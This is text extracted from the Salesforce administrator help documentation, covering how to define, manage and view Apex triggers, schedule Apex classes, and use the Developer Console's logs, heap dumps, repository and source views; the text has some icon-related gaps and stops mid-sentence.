Apex triggers are stored as metadata in the application under the object with which they are associated.
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.

2006

Develop

Defining Apex Triggers

To define a trigger:
1. For a standard object, click Your Name > Setup > Customize, click the name of the object, then click Triggers.
For a custom object, click Your Name > Setup > Create > Objects and click the name of the object.
For campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Triggers.
For case comments, click Your Name > Setup > Customize > Cases > Case Comments > Triggers.
For email messages, click Your Name > Setup > Customize > Cases > Email Messages > Triggers.
For the Attachment, ContentDocument, and Note standard objects, you cant create a trigger in the Salesforce user interface.
For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE.
Alternatively, you can also use the Metadata API.
2. In the Triggers related list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the
API, as well as each managed package. You can specify an older version of a managed package if you want to access
components or functionality that differs from the most recent package version.
4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only
want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) {
code_block
}

where trigger_events can be a comma-separated list of one or more of the following events:

before insert
before update
before delete
after insert
after update
after delete
after undelete

Note:

You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that
is, when the method is defined with the @future keyword.
A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.

6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until the

2007

Develop

Managing Apex Triggers

Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves
the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.

See Also:
Apex Code Overview
Managing Apex Triggers
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Managing Apex Triggers


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To define, edit, delete, and show dependencies for Apex triggers:

Author Apex

A trigger is Apex code that executes before or after specific data manipulation language (DML) events occur, such as before
object records are inserted into the database, or after records have been deleted.
Triggers are stored as metadata in Salesforce. A list of all triggers in your organization is located at Your Name > Setup >
Develop > Apex Triggers. In addition to this list, triggers are associated and stored with specific objects. For standard objects,
triggers are located at Your Name > Setup > Customize > Standard_Object_Name > Triggers, and on the object detail
page for custom objects at Your Name > Setup > Create > Objects > Custom_Object_Name.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand
templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace
Prefix on page 1944.
Click New to create an Apex trigger.
Note: You can only create triggers from the associated object, not from the Apex Triggers page.

Once you have created an Apex trigger:

Click Edit next to the trigger name to modify its contents in a simple editor.
Click Del next to the trigger name to delete the trigger from your organization.

2008

Develop

Viewing Apex Trigger Details

Click the percentage number in the Code Coverage column to see which lines in a trigger have been covered by Apex unit
tests.
Note:

You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a
Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com
Master Subscription Agreement.

A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in
a managed package.

A icon indicates that an Apex trigger in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex trigger through the package detail page. See Deleting
Components From Managed Packages

See Also:
Apex Code Overview
Defining Apex Triggers
Viewing Apex Trigger Details
Understanding Dependencies
Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Apex Trigger Details


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To view Apex triggers:

Author Apex

Apex triggers are stored as metadata in the application under the object with which they are associated. You can also view all
triggers by clicking Your Name > Setup > Develop > Apex Triggers.
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.
To view the details for a trigger, click Your Name > Setup > Develop > Apex Triggers, then click the name of the trigger.
You can also access the trigger details from the object. For a standard object, click Your Name > Setup > Customize, click

2009

Develop

Viewing Apex Trigger Details

the name of the object, click Triggers, then click the name of the trigger. For a custom object, click Your Name > Setup >
Create > Objects, click the name of the object, then click the name of the trigger.
From the trigger detail page, you can do any of the following:

Click Edit to modify the contents of the trigger.


Note: A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a
trigger in a managed package.

Click Delete to delete the trigger from your organization.


Click Show Dependencies to display the items, such as fields, s-controls, or classes, that are referenced by the Apex code
contained in the trigger.
Click Download Apex to download the text of the trigger. The file is saved with the name of the trigger as the file name,
with the filetype of .trg.

The trigger detail page shows the following information for a trigger:

The name of the trigger


The name of the object with which the trigger is associated, such as Account or Case.
The API version that the trigger has been saved against.
Whether a trigger is valid.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until
the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user
re-saves the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.

Whether the trigger is active.


The text of the Apex code contained in the trigger.
If trigger references components in installed managed packages, such as an Apex class, a Visualforce page, a custom object,
and so on, the Version Settings section lists the package versions of the packages containing the referenced components.
If the trigger is contained in an installed managed package, the Installed Package indicates the package name.

The Log Filters tab displays the debug log categories and debug log levels that you can set for the trigger. For more information,
see Debug Log Filtering for Apex Classes and Apex Triggers on page 2053.

See Also:
Apex Code Overview
Managing Apex Triggers
Defining Apex Triggers
About Package Versions
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide

2010

Develop

Scheduling Apex

Scheduling Apex
Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Use the Apex scheduler if you have specific Apex classes that you want to run on a regular basis, or to run a batch Apex job
using the Salesforce user interface.
The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not. For more
information about class permissions, see Apex Class Security Overview on page 2003.
Important: Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed
based on service availability.
To schedule jobs using the Apex scheduler:
1.
2.
3.
4.

Implement the Schedulable interface in an Apex class that instantiates the class you want to run.
Click Your Name > Setup > Develop > Apex Classes and click Schedule Apex.
Specify the name of a class that you want to schedule.
Specify how often the Apex class is to run.

For Weeklyspecify one or more days of the week the job is to run (such as Monday and Wednesday).
For Monthlyspecify either the date the job is to run or the day (such as the second Saturday of every month.)

5. Specify the start and end dates for the Apex scheduled class. If you specify a single day, the job only runs once.
6. Specify a preferred start time. The exact time the job starts depends on what other jobs are in the queue at that time.
7. Click Save.
Note: You can only have ten active or scheduled jobs concurrently.

After you schedule an Apex job, you can monitor the progress of the job on the All Scheduled Jobs page.
Once the job has completed, you can see specifics about the job (such as whether it passed or failed, how long it took to process,
the number of records process, and so on) on the Apex Jobs page.

See Also:
Apex Code Overview
Defining Apex Classes
Monitoring the Apex Job Queue
Developer's Guide: Force.com Apex Code Developer's Guide

2011

Develop

Working with the Developer Console

Working with the Developer Console


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To use the Developer Console:

View All Data

To use the execute anonymous text entry box:

Author Apex

To save changes to Apex classes and triggers:

Author Apex

To save changes to Visualforce pages and components:

Customize Application

The Developer Console is a collection of tools you can use to analyze and troubleshoot applications in your Salesforce
organization. Its a popup window composed of a set of related tools that allow you to access your source code and review how
it executes. It can also be used to monitor database events, workflows, callouts, validation logic, cumulative resources used
versus system limits, and other events that are recorded in debug logs. Its a context-sensitive execution viewer, showing the
source of an operation, what triggered that operation, and what occurred afterward.
To open the Developer Console, click Your Name > Developer Console.

To learn about the Developer Console user interface, see Navigating within the Developer Console on page 2013.
To learn about Developer Console tools, see Working with Views in the Developer Console on page 2021.
To learn about some typical ways to use the Developer Console, for example, evaluating Apex triggers, tracking DML, or
monitoring performance, see Examples of Using the Developer Console on page 2033.
Tip: Watch the video Using the Developer Console to Edit, Execute, and Debug Apex Classes to learn how to open
and navigate through Apex classes, execute Apex code, verify code performance, and generate a heap dump to inspect
objects in memory.

What Can You Use the Developer Console For?


The Developer Console puts essential tools for editing code, debugging requests, and analyzing performance and memory
usage in one place. You can use the Developer Console for a variety of administrative and development tasks, including:
General Debugging and Troubleshooting
The Developer Console provides mechanisms to inspect executed requests. It provides access to a fine-grained log, allowing
you to review every statement executed within a request, and a set of interactive panels that let you simulate an execution
step-through.
The Developer Console provides a convenient set of tools to efficiently track down logical issues. For example, if you want to
understand why a certain request generates an Attempt to de-reference a null object error, you can review the execution,
identify the offending logic, and set a heap dump capture marker at that point. You can then execute the process again, and
inspect the request at that specific point in the execution to understand in detail how to improve your code. While the Developer
Console can't pause execution like a traditional debugger, it provides cloud developers much of the same visibility, and reduces
the need to instrument code with System.debug commands. And unlike a traditional debugger, you can examine the
execution both forward and backwards.
Source Code Editing and Navigation

2012

Develop

Navigating within the Developer Console

The Developer Console allows you to create and edit source code within the Developer Console itself, letting you inspect,
trace, and edit your code all in the same tool. The Repository tab allows you to quickly browse through and open your source
code. You can open a working set of source code views and switch between them with a single click. You can open and edit
Apex triggers, classes, and Visualforce pages and components, and you can open a read-only view of your object definitions.
You can also navigate the contents of packages created in your organization.
Performance Validation
The Developer Console has a number of panels dedicated to the inspection of performance. Open a debug log and view the
aggregated performance of an operation in the Performance Tree. Review the Executed Units tab, which breaks up the request
both by time and type. This tab categorizes the timings by methods, queries, workflows, callouts, DML, validations, triggers,
and pages, which gives you a clear idea of where to find performance issues. The Timeline tab provides a timeline view of the
overall request. Within this view, you can review each of the timeline blocks, which interactively filters the corresponding log,
allowing you to walk through the events for a given block. The Limits panel provides a summary view of resources used and
maps them against your allocated request limits.

Navigating within the Developer Console


The Developer Console is a popup window composed of a set of related tools that allow you to access your source code and
review how it executes. It can also be used to monitor database events, workflows, callouts, validation logic, cumulative resources
used versus system limits, and other events that are recorded in debug logs.
The Developer Console is organized into two main sections:
1. A navigation panel for browsing to and opening sources, debug logs, and heap dumps.
2. A workspace where you work with sources, debug logs, and heap dumps..

2013

Develop

Navigating within the Developer Console

You can collapse the navigation panel and some subpanels of different detail views using the
top right corner of the panel, to allow a larger viewing area for items being examined.

, or

button in the

A workspace is a collection of tabs (also called views) located in the lower panel of the Developer Console. A tab can contain
a log, source code, a heap dump, or an object view.
You can create a workspace for each group of tabs that you use together. Then, while youre working in the Developer Console,
switch between workspaces to keep your work organized. For example, the Apex Workbook creates and edits the classes
KitchenUtility, Fridge, and Toaster. While working on the Apex Workbook, you can create a workspace called Apex Workbook
Source for these classes. You can then create a workspace called Apex Workbook Test for the debug logs. Switch between the
workspaces as you code and test.
See Creating and Deleting Workspaces in the Developer Console on page 2022.

Developer Console Tools


Use the three Developer Console tools to open and examine resources:

LogsOpen debug logs and capture new logs from actions you take in your organization.
Heap DumpsOpen heap dumps. Heap dumps are snapshots of the state of execution. They contain objects, variables,
references to and from instantiated objects, and links to the related source code.
RepositoryOpen objects, Apex classes, triggers, Visualforce pages, and so on.
Note:
A limited number of customers wont see the Heap Dumps tab. Contact salesforce.com if you want to examine heap
dumps in your organization, but dont see the Heap Dumps tab.

Logs Tab
Use the Logs tab to browse to and open debug logs that include database events, Apex processing, workflow, callouts, and
validation logic.
To open a log, double-click it or select it and click Open. The log opens in a new System Log tab in the workspace.
The Developer Console automatically polls for the current users debug logs. After opening the Developer Console and clicking
the Logs tab, run something that generates a debug log. For example, if you have validation rules associated with inserting a
new record, insert a new record. The Developer Console automatically captures a debug log for the request and adds it to the
logs list.
To learn more about using the System Log view to review a debug log, evaluate Apex code, track DML, or monitor performance,
see The System Log View on page 2023.
List of Debug Logs
You can filter which logs are displayed in the list of debug logs.

2014

Develop

Navigating within the Developer Console

1. Click Open to open the selected log in a new System Log view.
2. Click Open Raw Log to open the selected log in a plain text view that displays the unformatted contents of the debug log.
3. Click Auto Hide Logs to automatically hide all existing logs the next time the page is refreshed. This button is a toggle:
click the button a second time to display all logs.
4. Click Clear to remove all logs from the list.
Tip: If you are monitoring debug logs for a user, those logs are still accessible from the Debug Log page. Click
Your Name > Setup > Monitoring > Debug Logs.
5. Select This Session Only to display only logs generated by you since opening the Developer Console. Deselect to see all
debug logs currently saved for your organization, including those created by monitoring users.
6. Filter the logs by clicking Filter and entering text. For example, if you only want to see a specific user's debug logs, filter
by that user's name. The filter is case-sensitive.
Setting Logging Levels
Select Workspace: Name > Log Levels to specify the logging levels for future requests. Logging levels determine how much
request information is saved in a debug log. Parsing a large log can take a long time. To reduce the size of a log, adjust the
logging level. Use verbose logging for code youre reviewing. Use terse logging for code youre not interested in.
To generate heap dumps, set the Apex Code logging level to finer or finest.
To fine-tune the log verbosity at the trigger and class level, you can set debug log filters for Apex classes and triggers.
Execute Anonymous Apex Code
You can run brief Apex code snippets in the Developer Console to generate debug logs that cover specific application logic.
These code snippets run as if you had executed them using ExecuteAnonymous. A debug log with the results of the execution
appears in the Logs list. To analyze the log, open it in System Log view.
1. Click the Execute text box.

2. To enter code, do one of the following:

Enter your code in the popup code editor:

2015

Develop

Navigating within the Developer Console

Click

to open an execute anonymous code editor in a new browser window.

3. After the code executes, the system generates a debug log. To open the log in System Log view, select Open Log. Otherwise,
click the Logs tab and browse to the log to open it.
4. To execute code, do one of the following:

To execute all the code in the window, click Execute or CTRL+E.


To execute selected lines of code, select the lines and click Execute Highlighted.
Note: You can't use the keyword static in anonymous code.

Code is saved when you close the Developer Console.


Caution: If you call a class that contains a testMethod, all DML statements of the test method execute. This action
can add unwanted data to your organization.

2016

Develop

Navigating within the Developer Console

Heap Dumps Tab


Use the Heap Dumps tab to browse and open heap dumps that preserve a snapshot of the state of objects in memory at the
time of the capture You can have five heap dump locations at a time. To open a heap dump, double-click it. The heap dump
opens in a new Heap Dump Inspector tab in the detail area.

To capture new heap dumps, set capture markers in your code. See Enabling Heap Dump Captures in Apex Code.
To learn more about some typical ways you might use a Heap Dump Inspector tab, for example to evaluate why a branch of
execution is or isnt being taken or to verify the expected contents of a variable, see Heap Dump Inspector on page 2028.
Heap Dumps List
The Heap Dumps list contains the heap dumps currently available for review. Select This Session Only to only display heap
dumps generated since opening the Developer Console. Deselect to display all heap dumps currently saved for your organization.
Each heap dump in the list displays this information:
Column

Description

Namespace

The namespace of the package containing source code marked to capture this heap dump.

Class

The Apex class containing the source code marked to capture this heap dump.

Line

The source line number marked to capture this heap dump.

Time

The time this heap dump was recorded.

Tip: Right click any column header to sort the information in the column. You can also select which columns you
want displayed in the Heap Dumps list.

Heap Dump Locations


This is a list of the locations in source code where heap dumps are captured. Each item in the list displays this information:
Column

Description

File

The name of the Apex class that contains a marker to capture a heap dump.

Line

The line number marked to capture a heap dump.

Iteration

If the heap dump marker is in a loop, this value indicates the iteration at which the heap dump is
captured.

2017

Develop

Navigating within the Developer Console

By default the iteration is 1, which means that the heap dump is captured the first time the line of source code executes. You
can double-click the iteration number and change it, for example, to investigate why a loop does not terminate when expected.
Only one heap dump will be captured for a specific line of code, no matter how many times its executed during a request.
For details about how to set new heap dump capture markers in your source code, see The Source Code View on page 2030.
Overlaying Apex Code and SOQL Statements
When troubleshooting a runtime issue, you might want information about the state of a variable or the state of the database.
You might also want to create a specific condition in which to test your code. Use the Developer Console to overlay a diagnostic
output on the run without instrumenting the code. Write Apex code and SOQL statements that run when code at a heap
dump location executes.
1. Select a heap dump location.

2. Click Edit Properties.


3. Select SOQL or Apex Code.

4. To run the diagnostic code without generating a heap dump, deselect Dump Heap.
5. Enter SOQL or Apex code in the script box and click OK.
Note:
You cant refer to local objects because an anonymous block is a new stack frame. Refer to static objects or create new
objects. Also, you can't use bind variables in SOQL queries used in overlays.
View the results of a SOQL query in Query Results view:

2018

Develop

Navigating within the Developer Console

To create a new record for the outer entity of the select statement, click Create New.
To open a records detail page in Salesforce, select the row and click Open Detail Page.
To edit a record in Salesforce, select the row and click Edit Page.
View Apex execution results in Apex Execution Results view:

2019

Develop

Navigating within the Developer Console

Note: The value -1 for exceptionColumn and exceptionLine indicates that these fields are not applicable.

Repository Tab
Use the Repository tab to browse to and open your application code and data objects. To navigate to an item:
1. In the Setup Entity Type column, click the type of the item you'd like to look at.
2. In the Entities column, scroll and find the item you'd like to examine.
3. Click the item once to see related items in the Related column. For example, click on an object to see the Apex classes
that use it.
4. Double-click an item to open it in a new tab. You can also open an item by selecting it and clicking Open.
Note: Source code such as Apex classes, triggers, and Visualforce pages and components open in a Source Code
editor, while objects open in a Schema Quick View.

2020

Develop

Working with Views in the Developer Console

Repository Management and Filtering


You can create new code such as Apex classes and triggers in the Repository browser. You can also open and close items, edit
and save them, save changes across all tabs, and delete existing items.

1. NewCreates a new Apex class or trigger, or Visualforce page or component, depending on which entity type you have
selected in the Setup list. To create a new Apex trigger, first select the object on which to create the trigger.
2. OpenOpens the selected item, an alternative to double-clicking.
3. Close AllCloses all tabs open in the detail area. If any tab contains unsaved changes, youll be prompted to save them.
4. Save AllSaves changes in all tabs open in your workspace. This allows you to save a set of dependent changes.
5. DeleteDeletes the selected item. You can only delete Apex classes, triggers, and Visualforce pages.
6. You can filter which items are displayed in the Repository browser. Click the Filter text entry box and enter a text string
to display only items that match the filter criteria. The search is case-sensitive.
Note: You can't modify custom objects in the Developer Console. To create, edit, or delete custom objects, click Your
Name > Setup > Create > Objects to work with your custom objects.

Browsing Packages in the Repository


The Repository tab allows you to browse and open the contents of packages you have created in your organization. You can
see the complete contents of packages, and open the Apex classes and triggers, Visualforce pages and components, and custom
objects contained in a package. Other package items, such as custom fields, validation rules, and so on, can be seen in the list,
but not viewed in detail.
Unmanaged packages youve installed into your organization dont appear in the list of packages in the Repository tab, but
you can see the entities in those packagesclasses, pages, components, and soin their respective entity type lists. You can
open these items just like entities youve created yourself, and edit items that are of editable types (classes, pages, and so on).
Note: You cant view or edit the contents of managed packages youve installed into your organization.

Working with Views in the Developer Console


You can open four views in the Developer Console workspace:

System Log view


Heap Dump Inspector view
Source Code view
Schema Quick View

You can collapse the top, bottom, and many sub-panels using the
, ,
working with the information-rich System Log and Source Code views.

, or

buttons. This is especially useful when

2021

Develop

Working with Views in the Developer Console

When collapsed, you can click a panel to temporarily reveal and use it. When your cursor moves out of the panel, it collapses
automatically.

Navigating through Tab History


When you open a log, a heap dump, or an item from the repository, it opens in a new tab (also called a view) in the workspace.
You can have multiple tabs open at the same time.
To move backward and forward through your tab history, click the

BackwardCTRL+,
ForwardCTRL+.

Clicking
the

buttons. You can also use these shortcuts:

moves through your previously viewed tabs in the order that you viewed them. When you click the

button,

button becomes active.

Creating and Deleting Workspaces in the Developer Console


A workspace is a collection of tabs (also called views) located in the lower panel of the Developer Console. A tab can contain
a log, source code, a heap dump, or an object view.
You can create a workspace for each group of tabs that you use together. Then, while youre working in the Developer Console,
switch between workspaces to keep your work organized. For example, the Apex Workbook creates and edits the classes
KitchenUtility, Fridge, and Toaster. While working on the Apex Workbook, you can create a workspace called Apex Workbook
Source for these classes. You can then create a workspace called Apex Workbook Test for the debug logs. Switch between the
workspaces as you code and test.
To create a workspace:
1. Click Workspace:Name, then select Workspace Manager.
2. Click New and enter a name for the workspace.
3. Open the logs, source code, heap dumps or object views that you want grouped together in the workspace. When you
switch to a different workspace or close the Developer Console, the Developer Console saves the state of the tabs (and the
panels within the tabs) in the current workspace.
To delete a workspace:
1. Click Workspace:Name, then select Workspace Manager.
2. Select a workspace and click Delete.
To rename a workspace:
1. Click Workspace:Name, then select Rename Current Workspace.
2. Enter a new name and click OK.
Note: Rename Current Workspace overwrites a workspace with a new name; it is not a Save As command.

2022

Develop

Working with Views in the Developer Console

The System Log View


The System Log view is a context-sensitive execution viewer that shows the source of an operation, what triggered that
operation, and what occurred afterward. You can use this view to inspect debug logs that include database events, Apex
processing, workflow, and validation logic.
The System Log view contains these sections:
1.
2.
3.
4.
5.
6.
7.
8.
9.

Stack
Back trace
Execution log
Execution log filter controls
Source window
Variables
Executed Units tab
Limits tab
Timeline tab

2023

Develop

Working with Views in the Developer Console

Many sections of the System Log view refresh automatically and display related information when you click on an item. For
example, if you click a folder labeled handleProductPriceChange in the stack section, these sections are updated to display
information about that trigger:

Back trace
Execution log
Source

Similarly, if you click a line in the execution log, the stack, back trace, and source are all updated. Clicking items in the Executed
Units tab also updates the execution log, stack, back trace, and source sections.
Stack and Back Trace
The stack section displays two tree structures of the debug log: the execution tree and the performance tree. The stack trees
display information top downfrom initiating calls to the next level down, and so on. Use the stack trees to see the hierarchy
of items as they are called in the process. For example, if a class calls a second class, the second class displays as a child node
of the first class.
The execution tree displays each operation. The performance tree aggregates operations to give you a better look at the
performance of an operation as a whole. For example, if a for loop calls System.debug() 10 times, you see the duration
of each call in the execution tree:

2024

Develop

Working with Views in the Developer Console

In the performance tree, the calls are aggregated so you see the total duration of every call to debug from hello:

This example calls debug only from the hello method. If there are calls to debug from other locations, they are aggregated
in those nodes. Calls from all locations are aggregated in the executed unit.
The back trace (the panel below the stack) contains a bottom up view of the currently-selected item in the debug log, starting
with the lowest level call, followed by the operation that triggered that call, and so on. Each item in the stack and in the back
trace has this information:
Column

Description

Scope

Delimited region within the process, such as workflow, a class, or DML.

Unit

Name of the item (region).

Duration

Amount of time (in milliseconds) the item took to run.

Heap

Amount of heap (in bytes) the item used.

Execution Log
The execution log contains the debug log for the process. The debug log contains every action that occurred in the process,
such as method calls, workflow rules, and DML operations. Hover over long lines in the section to display a popup of the
entire line.

2025

Develop

Working with Views in the Developer Console

Use the execution log to retrace the steps through a process. You can step through lines on your own. You can also use one of
the following to filter the debug log to lines of specific interest:
1. This FrameDisplays only this region of the process. For example, if you click CODE_UNIT_STARTED and This Frame,
the execution log displays only the items in the process that occur between CODE_UNIT_STARTED and its associated
CODE_UNIT_ENDED. This displays only the items that are associated with that level. For example, if you have a trigger
that calls a class, only the trigger operations are displayed in the execution log.
2. ExecutableDisplays only the executable items in the debug log. This hides the cumulative limits information, such as
the number of SOQL queries made, the number of DML rows, and so on.
Tip: View the execution log with Executable checked. Only deselect it when you are working on optimizing your
process and need the limits information.
3. FilterDisplays items that match what you enter in the Filter field. For example, if you type DML, all the lines in the
execution log with the string DML in either the event or details are displayed. The filter is case-sensitive.
You can also click Download to download a copy of the debug log as a text file. The default name for the file is apex.log.
The execution log panel contains this information:
Column

Description

Timestamp

System time when the process began. This is shown in the local user's time. The format is:
HH:MM:SS:MSS.

Event

Debug event.

Details

Additional details pertaining to the event, such as line number and parameters.

Source
The source panel contains the executed source code or the metadata definitions of entities used during the process. What's
displayed in the source section depends on what's selected elsewhere in the System Log view. The source section also lists how
many times a line of code was executed.
Enter a line number in the entry box at the bottom of the source panel and click Jump to go to a specific line of code.

2026

Develop

Working with Views in the Developer Console

When viewing executed source code, click Open to open it in a new Source Code tab.
Note: If validation rules or workflow is executed during the process, the metadata representation of it displays in the
source panel. You cant open a metadata representation from the Developer Console. See ValidationRule and Workflow
in the Force.com Metadata API Developers Guide.
Variables
Use the variables section to discover when a variable is assigned a value and what that value is. Click on a Variable event to
populate the section.
Note: The Apex Code log level must be set to Finest for variable assignments to be logged.

Another way to view the contents of variables is to use the Heap Dump Inspector, which allows you to see more details about
entities held in memory at a point of execution.
Executed Units, Limits and Timeline
The Executed Units, Limits, and Timeline tabs appear in the Execution Overview panel at the bottom of the Developer
Console when you are looking at a System Log view. The Execution Overview panel can be collapsed using the
the top right of the panel.

button in

Use the Executed Units tab to examine which items in the process used the most system resources. Use the Limits tab to
compare the resources used by the process to overall system limits. The limits are listed by name and amount. Use the Timeline
tab to see a visual representation of the time each process took. Use this to identify and isolate the parts of your request that
take the longest.
To filter out the information displayed on the Executed Limits tab by the type of item, click the button for that type. For
example, to no longer view methods in the section, click Methods. Click the button a second time to display methods again.
Right-click any column header to sort the information in the column. You can also select which columns you want displayed
in the Executed Units tab.
The Executed Units tab contains this information:
Column

Description

What

Type of process item. Types include:


Method
Queries
Workflow
Callouts
DML
Validations
Triggers
Pages

Name

Name of the process item.

Sum

Total duration for the item.

Avg

Average duration for the item.

Min

Minimum amount of time for the item.

2027

Develop

Working with Views in the Developer Console

Column

Description

Max

Maximum amount of time for the item.

Cnt

Number of times the item was called during the process.

Heap

Amount of space the item took on the heap.

Query Type

Type of query. Possible values are:


SOQL
SOSL

Sum rows

Total number of records changed for that item.

Avg rows

Average number of records changed for that item.

Max rows

Maximum number of records changed for that item.

Min rows

Minimum number of records changed for that item.

On the Limits tab, select the unit of time used to display the process. The default is Minutes.
The Limits tab contains this information:
Column

Description

Limit

Name of the limit.

Used so far

The amount of the limit used by this process at this point of execution.

Request total

The amount of this limit used by the request at completion.

Total available

The total amount for the limit.

The Timeline tab contains this information:


Column

Description

Category

The type of process.

Mills

Milliseconds of time taken by that process.

The percent this process took of the entire request.

Important: If you dont see scroll bars in the System Log panels on a Mac, open System Preferences > General and
set Show scroll bars to Always.

The Heap Dump Inspector


The Heap Dump Inspector view lets you browse snapshots of the state of objects in memory at the time of the capture,
including references between objects. It also lets you view variables in more detail than offered in the System Log view, including

2028

Develop

Working with Views in the Developer Console

individual items in collections. Use the Heap Dump Inspector to investigate what objects are in memory at a specific point of
execution and why, that is, what other objects hold references to them.
To capture new heap dumps, set capture markers in your code. See Enabling Heap Dump Captures in Apex Code.
Open existing heap dumps from the Heap Dumps tab.
The Heap Dump Inspector lets you view a heap dump two different ways, in the Heap tab and the Symbols tab.
The Heap Tab
The Heap tab displays all objects in memory at the time of the heap dump capture. Items are listed and grouped by data type.

The Types column is a flat list of the classes of all instantiated objects in memory at the time of capture, with a count of how
many are instantiated, and the amount of memory consumed in bytes. Click an item to see a list of those objects in the Instances
column, with their address in the heap and memory consumed. Click an instance to view the variables currently set in that
object in the State column.
The References tab provides two lists to display relationships between symbols held in memory. Use the Inbound References
list to locate the symbols which can hold references to objects of a particular type. Use the Referencing Instances list to find
specific instances holding references to a symbol. Double click to find that instance elsewhere in the heap.
The Search tab lets you find symbols in the heap by value or address. Search matches partial symbol values, but addresses
must be exact. To quickly search for a value, click the search icon ( ) that appears to the right of it when you hover over it
in the State panel.
The Symbols Tab
The Symbols tab displays a tree view of all symbols in memory at the time of the heap dump capture. Use it to quickly review
the state of the system at the specific line of code (and iteration) where the heap dump was captured.

2029

Develop

Working with Views in the Developer Console

Important: If you dont see scroll bars in the Heap Dump panels on a Mac, open System Preferences > General
and set Show scroll bars to Always.

The Source Code View


The Source Code view displays Apex source files and Visualforce pages, and lets you edit them in the Developer Console.
Using the Repository browser, you can open a set of related source code files and switch between them more quickly than
using the sidebar.
Syntax highlighting colors comments, numbers, strings, reserved keywords, primitive data types, variable declarations, and
references.

2030

Develop

Working with Views in the Developer Console

Navigating to Method and Variable Declarations


You can navigate directly to a method or variable declaration, rather than having to scroll or search to find it.
1. Mouse over a method or variable name. If the method or variable name is underlined, you can navigate to its declaration.
2. Click in an underlined method or variable name.
3. Press CTRL+ALT+N or click Go To to move the cursor to the declaration.
If the declaration is in another file, the file opens in a new tab.
Using Auto-Complete in Visualforce Pages
Visualforce page and component source views have full syntax highlighting and support for auto-complete suggestions.
Auto-complete works similarly to auto-complete in the Visualforce development mode footer: as you type a Visualforce
component tag, a list of suggested completions appear.

Keep typing to filter the suggestions, press ENTER to select the top completion, or use the arrow keys or mouse to select a
different completion. Auto-complete supports both Visualforce tags and tag attributes.
Enabling Heap Dump Captures in Apex Code
To set a marker for a new heap dump capture point, click in the margin to the left of the line numbers.You can set five markers
at a time.
By default the heap dump is captured immediately before the first time the line of code is executed. You can change the
iteration for the capture in the Heap Dump Locations list. Only one heap dump will be captured for a specific line of code,
no matter how many times its executed during a request.
Important: To generate a heap dump, set the Apex Log Level to finer or finest. See Setting Logging Levels on page
2015.
You can set heap dump capture markers in Apex classes and triggers. You cant set capture markers in Visualforce markup.
Note: If you set a capture marker in a method with the @future annotation, to capture that heap dump during a
request you need to keep the Developer Console open until the @future method completes asynchronously. This is
because heap capture markers are reset when you close the Developer Console.
Validating Changes in Source Code
Changes you make in a Source Code view are validated in the background. While you are editing code an error indicator
displays on lines causing errors, and the Problems panel shows the details of compilation errors. To collapse the Problems
panel, use the

button in the corner of the panel.

2031

Develop

Working with Views in the Developer Console

When validating your source views, all modified sources are validated together instead of individually. Changes that may be
inconsistent with code on the server, but are consistent when taken togethersuch as adding a method in one file, and a call
